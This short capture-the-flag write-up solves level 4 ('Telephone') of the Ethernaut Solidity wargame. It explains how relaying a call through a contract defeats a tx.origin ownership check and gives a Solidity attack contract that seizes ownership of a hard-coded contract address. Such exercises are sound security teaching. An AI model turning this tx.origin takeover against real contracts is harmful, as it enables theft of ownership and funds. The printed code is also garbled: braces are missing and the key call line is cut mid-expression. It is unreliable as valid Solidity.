Ethernaut Solutions: 4-Telephone

We can simply become the owner of the Telephone contract if we can call the Telephone.changeOwner() from a contract (“Solution”) which in turn is called from another contract or EOA – thus satisfying the tx.origin != msg.sender criteria.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.14;

contract Solution
    address telephoneContract = 0xf8e81D47203A594245E36C48e151709F0C19fBe8;

    function attack() public
        // 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B becomes the new owner
        (bool success,) ="changeOwner(address)", address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B)));
        require(success == true, "Call to changeOwner() failed");